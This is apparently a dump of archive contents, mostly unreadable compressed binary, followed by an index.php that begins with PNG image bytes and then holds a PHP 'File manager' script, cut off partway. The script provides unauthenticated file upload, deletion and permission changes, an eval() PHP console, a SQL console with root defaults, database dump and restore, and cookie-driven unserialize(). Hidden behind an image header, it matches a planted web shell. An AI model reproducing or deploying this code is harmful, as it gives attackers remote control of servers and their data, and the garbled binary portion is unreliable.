&`0f+cy ؞y0d|>t*r`(/NOZ	zʱll^4@ƎHNt.Ѥwwm,僳@X)l ʲVj]+x=Y(|xwOZ?(ţi3~Xo=m46D| `xG^<6+]p-W8W=M?BV&NiV9}2ɴ*y6RFS1-1TMwf+f´=9*~1Z@X4V%	yW)$ZPigI7܎f02	|ZU*hǓyӠd#YR3_?hbvaU|jl4%P ,~bvc\YN%k/a"ݓ`%CҖzqypִzVì.lc XQ{2]VI>Om.bz:b	kTn:u&0հ7.[CDhPN
t96D8
̰%d9n\҇BZN9a+Ry8p伎Td/{:3|͑N=U[;SaxĲ3NUZ!g*Zb\LUGx9N΋3!*Ν!DKL=lj/8.`..o.L|VdwZ-OှXC{S鑏fZ9Opj繋PeUW:]t=1V٢Xj|M4|[tbOm2LYäQ[4mɤԼOim>i$͚_Ӂ.ܕB~ԈrSd;1.vIuNWV;gJTuҾP	+Jd1:s1Or}+SsxM(/JC9Q$LG29˕ryCI#o=?2]W*7񅧒wkH;(Wi78>Xq5}8i[~48o;u_~3棬=<Fe>glGjg	(+gjv{:OݝYL&ukr ֦+>fF<`^ejwzm3:عY9/T6FX˩ظ)z95X]pa'^f"yˮMÎgYSV|ruyٖJCY,cgi[vص=ZR:ɜJ$鳞5j9GyrrNHEP(DYf
.=0(sn4ڞ~,9qSgveݞ	mb"}̻"^Ϫ@R%G9oa6ͻF7믌=.(HO,L'$;q,f=p!k6:&}$q13v&sV0HΚbcv	q\~Y[>-Hh{2nkX|g1۝3d1nr
|Dg<feT%SVܐog:<sڵuzMJ3?5h_&'$(ܰƗ<b+;iۼ%2UZqWg(ǜ&Ex]M8j<73=bg:eb=-Eyp8Cg*caFMgUg|2(墂w"ChVGhZ0EkOb-꩗-u܍LV]gGFlU:{?Zx@{V"w=8<2.a4ӉUaزI_gs:
r6_rNlH֘/kKqb/j羹V%(ӎZڔά+G#S8l!`'^ǕyW![:kgS6p3{:r;yͦ'Sm\:.
tL>=tI '@*Ryި]ͰgbF{8]s,v=k&b/T}g6rٚꍜM43لM̜Rk_~5ldxm-KhAi7bq\I}äl]q3ٚCE3*csqs^9/HX5zaWY:VW3v'LxZv%љ+qXRN˚)rl֕<6g\؝@ۼMʸ9͌jiBӶ:hSe<Kf1uCh~xfhO4}iص#OgnɆuJW:¶@yCpVu],Lhb8mDz|Y&T1"{?/b)GŔ5![$3fEgOѬde?uY-#x*P|;}!jzڧgaÍy[o}<v8!4kKn7aքZm	BZ
Y<[	烋f,ӮGBG*'Rѩ,~kѹYldƓ31Tہt+\ɂŌ)g3c$qY.PKsӫ}a֋ts`y>,a&IɡuRœE5Z㳎G|"va*](bZeQϣJE9iLY)!QV2y[.eJtqt;Cgѯ;@fVe>r>zsq=??=ٌEz8LۙX+#k(Q&:/4.EFj99~nF3`3R<Mr8jWKRw5zc﹢֚;TY.MD-v\?VCZȻk!ﮅZȻk!ﮅZȻk!ﮅZȻk!bsAW^qRb.8'N]F*۹nosY6`#x62FJ%R4LlvS$*\N,,׵M>
>u3l<<;}CzgMfpbJ{z^9,W\ey<%xbZSeP'ʡ@:e'DYq=N86iyq)Na,v=LR@-rydkRt
%kg8(dO/Ӯ"cͤBemI@jy<NnF>~]R%&P6§)fIိ*)]s$.>vlQl>tұSlƂæб4X,~ϟOM;=*1ڑRἜKiÍD"&LimNLϞyĤg;TqskTu=>O/Q	V@j4c_?*U{pyuxgeA
Mk۪[XmV~R*!a6e;,1rϒ{G$cS.mZCwx5/-yMs୍(c\
:863S8n,޷ь̸]uϨZy8c(9_NY<Ppԅ3Ttr3B͙^ھ N{*VĹw 7/P EЏdqdlN;gt8שtgR&0v5:;X=m4mִO˧դYc>:6[a.fEdkm;jVf(?~a.0=evgwӂ5unYF9>])觅,5jܠ=@zHE{d'̟lDb|<~6NzU;-?T&c8+nq8~6)1;4mVUp(@oQD_b$r4
;OV%vv,;RSJ Y-=y;zvvx6JE-TƇgބ'lMӵ^<n_55sL#1TJF^x&xuQ/g.|謚CZ`&T-*yOeq#R"l6'VS) Ps@5If&yUU@"C&H6]曝>uzowVx`ˤB08v{\(T.vVIw0HI8{!~ͫu<H/amTt*
PxΧ+bG
q"P-uxLJBmuJX5cE5?z.:6	;zG:gWgRu"sEǝK@bNwJ<7	P,*WSc(ʙ|Ǌ}4Xp8Pn>}0;e%`׻GrdQ|1LIa	=d}S	iߘUImqY{/9{*~7Ca@f]G CWWt@^[ϓX2쫺OtQWprV+mr*rKqGO{ظwznZwoI#(rJW:\OF7Iȱ0Uq&o1~t;	iAA'_<=Bl:d, Y gBJɺa R) V7eM=%ڧ90p|\AMS$zUuyQPD5|,Jr
΢&x[-訟z}QbKغ4P::XRtѮFRi1	>:piE3~zj4,5fE:Ę`a9V>uubǐ8<f-ipM{B	z|z7OKnD׈{iKsZI|Hʈyd4biSn:˧ySBi\EniSr<6jWц|ZAcrx)_=|tSm7#ʓPF'	nP\@\quXK:+i5~"@B7+jHcrZ2=m&(78E]XBե|hZ<gla&`Z&yƄZa=}K75DנXV\MzFLjԤ'KN)3!^?uQL4(]	+v zARc6U%ɋRZlݫjQ 6^gYV{hJH肳޾Mk5$KQ-LY&&yxi+ʨ!Poc4[\	ZL˽k%*R	5ZN%]"KVFge꯻[@wjQvFƥj4dFľ'L4F*	d&HKPVr9Qd6B7 'Ǡ{ї616kNP堬l`wrjVbdhÑ-vUgzHQ兽cBh&nfDUmKXZd(X'UIXh?Oh?'J5ɲwRtm>3贺|ls#<:7 EhAƐҫS'Þ[R{x~2 )#jcx)Rg
-B{>S1V͈4*RCbh1DI(ށxs=Nt.L>0S 
}1#Hz("|>Aa11n=ow]@eZ|LѤ.Q#!4qdza|usuJ#SAV`Zə*8<iJ|ds6k蕄&R޿vY8hT6W.iQnVVTUQKkI{|uϪgN9^e
cL#٢V$M^
LMu[GcN*rMW)tջJ[i&wElHY*i] pZߨ+=;VP,,Q-j͏鈚<5eaŵ(t_kȚ##UTێV
tt9PJ7Bm~|fGzZz=k!t'uXeֿi($ٰV RJPH?#p 
+]0<)_I((0ӻG&vF#lGUτ&xɵ|yʄ#5>D	]6uG{k{	7e+}>UG<\Fk]h͙n&pK8m_K8j6dj_	%ǴDƠt}"ݺ$ѭ]wNW]W^u%SK)bZ xAhznD5FO~
0]ܗT3yNU+@1yۥhkhC!+M?U}nUtcӤyqHG-rYSU:;KMt}Pjb=^J(ʓjmњᳩJW9;X;"?AIh0rĻ!"E (þmz^ؾrVʠM;xũ,<{^sRFTae4QyNl%}A{׵I~Dq	*c	҈Pu@V=c^ծؗWtH  쭼b-y~2Y$7c+Sȵk~WF Un9pnx82(>њk
f0H [eB?hPt9L% #վ,^(747YY?ٴ=nޱ[B@`Dqa{7V\Uj*˷,{۠ͯdnlTYiuA/~@VGաʬ̆__/_E]Td4~I	"kzfNU22^5V1#\c´>76FBJغ@ʯ*Teh ΉV](>իK0йuMUP1qi5ҍ69;'P@ץ"g2#h{ll4t
k&zrRFfp6Z7\AjsWjkmh]n0#$z<C__cZpə;.KVe76#l_Bw@7Q.%cq3FM̌g24nS,-M_1yʻiw;Ob+~vͿ賺w_WsL 'dlmr%[RM|N|)ږۿA_$Ѧ0uKba%H	F@Oqx[PZ*FhWGOi3=rCz|-H)-%
fsDQX 4P|"x{"-Ȯëw
*'MAa0Cur)$qr:YY4yۊP
L)PZps|VaoOT\;)Wu!<
5; 9!yIhVZ4EIӣ
zNI`kwn~<RW>Po<_=xqoǆv-2tEְdxq~^߲EF".ˑK8*"e>)BCܿO!N(AFmΆOn.#b&_| H0Ar84	x6(:?lb)r!U=W"6ToݻS!}4z-wAnH߾KyJj6Ux_7pUSH&BmmMyES"d0cjT:S$z֨WۧGPyyc۬l>ǋ2vP8NŪsưD%."@khavי5#9a؜4~ct5Dg!ߜGM`NV2hƆR {<xdVہ<z;>eD2vzWG#d#spƠS=5RS_eOfp@CW쎍ٍlS9ZydzÅn
BlPbYZmBF֯61@uBlL7VpC2lk\ν2w7CZm-ѕRTmMVJ6zDTJB!<0K"$V
R7%I7-к=Z,<'c==X[ <:x^z6&-wy.^[/1It5y	qvr0qw>(Fѻ0Q<wٷ).ƁuC^+nl>Th-ЩbMIYO6VL>+KW-&nnwW7Ǧ4cZe؟ox56n:~=6\S/8J)cS2e6js#('~I2h'`(ۇ+8*˻活U6ȃҜ^QG6F/5r]ˋ/꨸А9k|3 #ap i
Xa	 ~\tR2~LwL&NkGmCᩎ:n'bA~gDLJ}^Q$$?aY wtK.k"߃R:?ELRNfܥH#J~D)W|#9ZG`hWH(JsY8dhq7rteIs׼Z$i7+cBXU{G=rsiX5VDi+LB3^V52nz}[@IR';쫬d҇PA;* Ty3C!+"Hr#hQYkL!Mb2\
\wX686 WnqPB1hsagrDԨⰌ&-^3)k5rrx=޾	!#ҚMeZZ(̻X9@19fhgLoS+s^`=?61 o-4enmMHXsg@EJxC3踀+qgCrSj~ǿQ1/!Wyui}KH9w11*,>#̦VSd2:YzܧA>]"Q k
=$>!QmTMaC'Z~AFD1k?e.ƨaD._P;OBi>fxd"nZz
w S*T"Tn`做nX`d1Z\ X`xhQ#JJh!KZ&ޮ.}DC):,ڧjIGYx1\ÑrsFY&)
#޶.j,kjKj< /;cw\q]56
E+*Wgsq9Gkhh D<BI"p!Z?Ln>1{~>*X@hA<1gYFDH[ؑH#8Q8M] =W^ʅjTjWb3!4Oyz-Ĭx6O]vМy	잙'Q3h\U1rdƞ>~0k߻1l|L1	6i3ցNē)Ž!SC
O痫TcD8ܒ&QA!ϯIa,.OrG↔@gd̺:Xdb`lkKJX!>?:Zuz7S(`(*49SDb\	:o5dmQ8ʝuz+nkq4Ykܪ&+:4(}*ϒt;6.j;w ;ӥ>+f)*ۑxɠ$*ώGhAB8"9EP$й|!
j[]m$JQI>9PGʅhRU $C]z`@Qϗ"jIhLG ~]W7Dr7r>Nv߄$+hۍ['ۑ̛ÓDKyk[1TZG>݀{323 ,G(ǟ
m`UVs
 B\u\&@	s]Vo1ajwj1RlY 9J|3P;:h(PNŃ:߿V| ,C:ĥ@&8đՏ$-/>b̱<Ik-u CAPե]@̝MFWֱ,M'JZ뜽IL&鹦?)&{g@=o's=C@WK"4Fȥ׹ 6e еx.hVchѽ-zG*9Mmt%𖜀}nATU
Jܹ) Q`WHK392)KrP;eUEF1l.L&wk$p1&?Z5'nN"秚+<nIOM7hǣ*Ifp}7˿wjf0Q}wuܧ<97 ^Uha&+`4,\JRJ:T ցݔNb[`5Ȃ\veӁq R%ond$56d3i=LcEɺ[S֔gwY<r #-N4M-Ӂ*6&4Wi^ަ+mv"bp]a"pWEaDpr]'_o+|u͢+YJyXՏrwuXcZ[X/DXSv~JƧvi\@_Bֻ0c6AT$:=t:\=M}PnX	[?8m'&OD^Uch-{](
/u&aT_~`P/0έ;J˨G܊j Mŵ"f0GW3H\'QQCe~( !<'AneO6Wtcw)TΧ䢽A'
c9&:
d-?cLg`7%	q"lj0dWː<0L.{vCJ5p8̕c@V&XHgk@Un?'rVBA	t/׽׍Wy64֮տ(ICXh	RFCdS]ke0l"781!>j+e]Ks1l`hDMa\8qlBsi2`oOq7d+zWQ{ճjO(QuaYɫB3i԰+LGMP깦;n)|PX>`*9z @|6l.M^aGC_I\ͯddC)_ZZ%&\2Ikr|ZE;ഥx]kǘG/R>eIqi:FlIՂ%Y}A 9E"$6PS)d\I<>Uor i$Q:jOvt}XR=j}U[eGd$>\#R= Z7RXūSJ󂆜8Ut+	uYӮZg$UB(X_>BepʨcMog)\-9#.ԕUdYBDZ5VG$ۤ'6Ud8Tj7Twz(Pݼn=<"Pߔp|`=aFY3@iՅjC4LÈS~QUY{*xNNG,ռZ3
[L渲82/ѭV``6{EPM.%'4;WWt=&Uq>ulk{֖-r`m*j=6ڴ5csSze1QqU2^Գ	0R71t*7&^SڈmSB{aCYkt)S[ŪVQKjjѮnt"ĉ-t׈Ԧŏk%^Ycװ~iGBmʢu+ӗP!wչbحLaO^_*PXKTW9\U_m2ݣP 4moj:=ca0()QTUoרmޮf&ňWWק{ڊj1k2+L".#r2+`)>鬬蘔aXՊ⨯|ۯh|zD,{{+dǻS4ZFQD&YP!oa+̶>@F"#\xj	hNfnHR(O	dC֪[NF#Rْk0>x/DSR(L]
3]8PW?=؞n	덄(Mf)ǻ2	AS1\z6I|Л[A9dQ̘5MH@V2ʒyM^j5"V؜Y?V2{ʌ%Gk-+iE:'ǿg!1I!(Cz<ƒvcXQ.rڞjF4{	uxяF&++أ!*-hI$-@`9ky!"_qh5hMdA.QaIz>Zؔ^1FQ!Wh|QՃEꋢH CrGȤ1*'#xԸRrRR:JTmζ@â{׏t#xcވlƄs2eű P+@}#IBס7ygsQuELeDj^1PamB? m Vo\AkB Ш~md*YYu3YU^A |7ovqDikUwџ#l 2FEh3x`CMu[
o+ͻI؀΃pEW#hk7N}s# mgU%_Mժ:*7׏7SnY:tuy=@OjMW9QOjw{o"k\kyqD^+Ux|М $xuBo_\.Lk[CtkA'fhZxc4uS]|0i(y=32)Xͧ0t4퐄1l57m0S~7Ru׀Z.;*98H6 @4K*)^ ~Wɏan)6;2I|mĩ,SﰷQ}u=Z翥|CwW;Xg jh4gsO,|߽ϻ?Z: @ PK     S]k++R  R    widget-loader.php.php.tar.gznu [              Tn@3_0&CRYjK]䦍oq"UE#<sfbz~gM%jEyR)TT])t<gU!hjʫ6	_F+bG|?@ދ~8f731gu-jR3<;66)UAI%0ϐX&ywyI@dx6a 0߸a]%]1o	\BD}}5da]4.6P4yh;^0sLVpj$gnJu#(BM[fW	,8y,vJU D)IDʬ@9r_(^H(++1ǣ84N&)kh+H;fOJ,2/62xa	Y;djٷfEU~2v:k=^WٺUٺ+-C\@M4]AxWTd4pf쐰%JtyG}cߦrlg'R!( 
  PK     S]&79 9 	  index.phpnu [        ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
